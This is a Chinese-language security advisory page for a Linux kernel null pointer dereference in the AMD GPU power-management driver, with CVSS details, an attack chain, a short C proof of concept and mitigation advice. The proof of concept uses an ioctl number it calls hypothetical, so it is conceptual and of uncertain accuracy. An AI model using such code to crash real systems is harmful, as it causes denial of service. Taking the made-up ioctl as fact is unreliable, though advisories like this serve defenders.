IPBUF安全漏洞报告
English
CVE-2026-43131 CVSS 5.5 中危

CVE-2026-43131: Linux内核drm/amd/pm空指针解引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43131
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

空指针解引用Linux内核DoSAMD GPURAS

漏洞概述

Linux内核中的drm/amd/pm驱动组件存在空指针解引用漏洞。当SMU(系统管理单元)功能被禁用时,RAS初始化流程会尝试访问无效的空指针,导致系统内核崩溃,进而引发本地拒绝服务攻击,影响系统可用性。

技术细节

该漏洞发生在Linux内核的drm/amd/pm驱动模块中。具体而言,当系统尝试进行RAS(可靠性、可用性和可服务性)初始化时,代码逻辑未正确处理SMU(系统管理单元)被禁用的边界情况。在SMU禁用状态下,相关的结构体指针未被分配内存,初始化为NULL。由于代码在访问该指针前未做空指针校验,直接进行了读写操作,导致内核触发空指针解引用异常。这将引发内核恐慌或系统死机,造成拒绝服务。攻击者只需拥有本地低权限账户即可触发该漏洞,无需用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限访问权限。
STEP 2
步骤2
确认目标系统运行受影响版本的Linux内核,且使用AMD GPU驱动。
STEP 3
步骤3
执行特制的程序或脚本,调用drm/amd/pm驱动接口,触发RAS初始化流程。
STEP 4
步骤4
由于SMU被禁用,内核在初始化过程中访问空指针,导致系统崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43131 * Conceptual trigger for Null Pointer Dereference in drm/amd/pm. * This code attempts to interact with the amdgpu driver to trigger the RAS init path. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" // Hypothetical IOCTL or command to trigger RAS initialization #define AMDGPU_RAS_INIT_TRIGGER 0x40046401 int main(int argc, char **argv) { int fd; printf("[+] Attempting to open %s\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Triggering RAS initialization logic...\n"); // Issue IOCTL that traverses the vulnerable code path // If SMU is disabled, this leads to a NULL pointer dereference in the kernel if (ioctl(fd, AMDGPU_RAS_INIT_TRIGGER, NULL) < 0) { perror("[-] IOCTL failed"); } else { printf("[+] IOCTL executed successfully (System might be unstable)"); } close(fd); return 0; }

影响范围

Linux Kernel (Mainline)
Linux Kernel (Stable branches prior to fix)

防御指南

临时缓解措施
建议立即更新Linux内核到最新版本以修复此漏洞。如果无法立即更新,应确保本地系统仅允许可信用户访问,并监控内核日志以检测潜在的崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表